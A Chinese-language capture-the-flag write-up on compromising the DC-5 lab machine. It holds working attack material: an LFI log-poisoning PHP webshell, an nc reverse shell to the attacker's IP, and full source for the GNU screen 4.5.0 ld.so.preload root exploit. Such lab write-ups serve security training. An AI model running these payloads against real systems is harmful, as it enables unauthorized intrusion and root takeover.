目标:
渗透进入DC-5靶场,读取/root目录下thisistheflag.txt文件
读取成功,则代表夺旗成功

使用的工具:
kali,蚁剑,御剑

靶机:DC-5

物理机IP:192.168.10.1
kali IP:192.168.10.211

1.确定DC-5靶场IP
使用kali nmap进行扫描,扫描存活主机

kali中输入命令(扫描存活主机):
nmap -sP 192.168.10.0/24

扫描结果:
192.168.10.1 (物理机)
192.168.10.2 (网关)
192.168.10.130 (DC-5)
192.168.10.254(DHCP服务器)
192.168.10.211(kali)

得到的结果:
DC-5 IP:192.168.10.130

2.确定DC-5端口开启情况

kali中输入命令:nmap -sV 192.168.10.130

扫描结果:
80 
111

结论:DC-580端口和111端口是开启的

3.访问DC-5靶场80端口对应的WEB应用

在kali的浏览器中,输入:192.168.10.130:80
进入concat页面.输入内容提交后,进入到thankyou.php页面
每次刷新页面时,会发现,页脚的年份可能会发生变化

猜测:可能存在着文件包含漏洞

4.使用御剑扫DC-5 80端口对应的应用后台目录
发现存在footer.php文件
通过kali浏览器访问:192.168.10.130/footer.php文件
发现确实每次刷新,文件内容中的年份都会发生变化

说明:当前web应用中thankyou.php中包含了footer.php这个文件

需要确定引入文件参数名:
在kali浏览器url中输入:192.168.10.130/thankyou.php?file=
出现的结果:页脚不再被引入了

在kali浏览器url中输入:192.168.10.130/thankyou.php?file=footer.php 
出现的结果:页脚再次被引入

结论:当前页面包含文件的参数名就是file

再在kali浏览器url中输入:192.168.10.130/thankyou.php?file=/etc/passwd
出现的结果:passwd文件内容显示在了网页上

结论:当前的位置存在文件包含漏洞

/var/log/nginx/error.log 文件中保存着服务器的报错日志

在kali浏览器url中输入:192.168.10.130/thankyou.php?file=/var/log/nginx/error.log
就能够直接访问error.log日志文件

5.DC-5 日志挂马
逻辑:如果服务器报错,就会将错误信息保存到error.log文件中

可以构造一句话木马报错,将一句话木马代码写入到error.log日志中
就相当于error.log日志文件就是我的一句话木马文件

在kali中,使用BurpSuite拦截挂马的请求,使用Reapter进行一句话木马的挂马操作
192.168.10.130:80/thankyou.php?file=<?php @eval($_REQUEST["adc"]);?>

由于<?php @eval($_REQUEST["adc"]);?>所对应的文件不存在,所以会报错,报错就会被记录在
/var/log/nginx/error.log 日志文件中
相当于/var/log/nginx/error.log 这个文件有了一句话木马
我们就可以通过远程管理工具连接

使用蚁剑连接:
url : 
http://192.168.10.130/thankyou.php?file=/var/log/nginx/error.log
密码:adc

蚁剑连接成功->操作DC-5主机所有的文件夹和文件
但是访问/root的时候,出现了没有No Permission权限的报错
当前的蚁剑连接DC-5是没有root权限的

所以接下来要做的就是提权(在kali中,找到提权的方法,并且在kali中进行提权文件的拆分)

6.蚁剑shell反弹到kali中(目的:让kali的中端也可以连接上DC-5)
开启kali监听 1234端口
在kali终端输入:nc -lvvp 1234

蚁剑通过1234端口反弹shell到kali
在蚁剑连接DC-5的虚拟终端界面输入:nc -e /bin/bash 192.168.10.211(kali的ip) 1234

kali运行python中的虚拟终端模块
kali接收到反弹的终端后,kali中输入:python -c 'import pty;pty.spawn("/bin/bash")'

7.在kali连接DC-5终端中寻找具有SUID文件
find / -perm -u=s -type f 2>/dev/null

查出具有SUID的文件
/bin/su 
/bin/mount
/bin/umount
...
/bin/screen-4.5.0
...

发现有一个文件screen-4.5.0
测试这个文件的漏洞
在kali(不是连接DC-5的终端)中输入:searchspolit screen 4.5.0
返回了漏洞利用脚本:
41154.sh 这个脚本文件就可以用来提权

将41154.sh文件复制到kali中的root下
searchsploit -m 4115
就能将41154.sh文件复制到/roo目录下 

41154.sh脚本可以进行提权,但是无法直接放在DC-5主机下进行编译
就只能在kali中进行编译
接下来在kali中将41154.sh拆分成三个文件分别做对应操作

8.41154.sh文件进行拆分以及编译操作
libhax.c文件中的代码为:

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}

rootshell.c代码为:

#include <stdio.h>
#include <unistd.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL);
}

dc5.sh中代码:

#!/bin/bash
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell

前两个.c文件好需要进行编译

第一个命令,将libhax.c文件编译成libhax.so文件
gcc -fPIC -shared -ldl -o libhax.so libhax.c

第二个命令,将rootshell.c文件编译成rootshell文件
gcc -o rootshell rootshell.c

将dc5.sh , rootshell , libhax.so文件复制到物理机中
并且使用蚁剑上传dc5.sh , rootshell , libhax.so这三个文件到DC-5 /tmp文件夹下

回到kali连接DC-5终端中,给dc5.sh添加可执行权限:
chmod +x dc5.sh 

并且运行dc5.sh 
./dc5.sh 回车

此时在kali连接DC-5终端中,再输入whoami之后,就能显示root的用户名

最后直接读取DC-5靶场中/root目录下thisistheflag.txt文件 
cat /root/thisistheflag.txt
会显示由数字8和字母组成的单词:NICE WORK!!!

以上操作如果能够读取thisistheflag.txt文件中的内容,代表夺旗成功!